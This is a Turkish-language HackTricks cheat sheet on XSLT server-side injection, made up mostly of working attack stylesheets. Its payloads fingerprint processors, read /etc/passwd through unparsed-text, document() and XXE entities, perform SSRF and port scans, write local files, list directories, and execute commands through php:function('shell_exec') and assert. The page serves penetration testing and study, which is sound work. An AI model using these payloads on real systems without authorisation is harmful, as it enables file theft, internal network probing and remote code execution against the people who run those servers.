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# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
XSLT, XML belgelerini farklı formatlara dönüştürmek için kullanılan bir teknolojidir. Üç versiyonu vardır: 1, 2 ve 3, bunlar arasında en yaygın olarak kullanılan versiyon 1'dir. Dönüşüm süreci, ya sunucu üzerinde ya da tarayıcı içinde gerçekleştirilebilir.
En sık kullanılan çerçeveler şunlardır:
- **Gnome'dan Libxslt,**
- **Apache'den Xalan,**
- **Saxonica'dan Saxon.**
XSLT ile ilişkili güvenlik açıklarının istismar edilmesi için xsl etiketlerinin sunucu tarafında saklanması ve ardından bu içeriğe erişilmesi gerekmektedir. Böyle bir güvenlik açığının bir örneği aşağıdaki kaynakta belgelenmiştir: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
## Örnek - Eğitim
```bash
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
```
{% code title="xml.xml" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
```
{% endcode %}
{% code title="xsl.xsl" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
Çalıştır:
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>
```
### Parmak İzi
{% code title="detection.xsl" %}
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
Ve çalıştır
```xml
$saxonb-xslt -xsl:detection.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
```
### Yerel Dosyayı Oku
{% code title="read.xsl" %}
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
```xml
$ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
### SSRF
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```
### Versiyonlar
Kullanılan XSLT sürümüne bağlı olarak daha fazla veya daha az işlev olabilir:
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
## Parmak İzi
Bunu yükleyin ve bilgi alın
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
```
## SSRF
```xml
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```
## Javascript Enjeksiyonu
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
```
## Dizin listeleme (PHP)
### **Opendir + readdir**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```
### **Assert (var\_dump + scandir + false)**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>
```
## Dosyaları Oku
### **İçsel - PHP**
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
### **İç - XXE**
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
```
### **HTTP Üzerinden**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```
```xml
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
```
### **Dahili (PHP-fonksiyonu)**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>
```
### Port taraması
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
```
## Bir dosyaya yaz
### XSLT 2.0
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
```
### **Xalan-J uzantısı**
```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```
PDF'de dosya yazmanın diğer yolları
## Harici XSL dahil et
```xml
<xsl:include href="http://extenal.web/external.xsl"/>
```
```xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
## Kod Çalıştır
### **php:function**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
```
Execute code using other frameworks in the PDF
### **Daha Fazla Dil**
**Bu sayfada diğer dillerde RCE örneklerini bulabilirsiniz:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
## **Sınıflardan PHP statik fonksiyonlarına erişim**
Aşağıdaki fonksiyon, XSL sınıfının `stringToUrl` statik metodunu çağıracaktır:
```xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
```
(Örnek [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls) adresinden)
## Daha Fazla Payload
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) adresini kontrol edin
* [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) adresini kontrol edin
## **Brute-Force Tespit Listesi**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
## **Referanslar**
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
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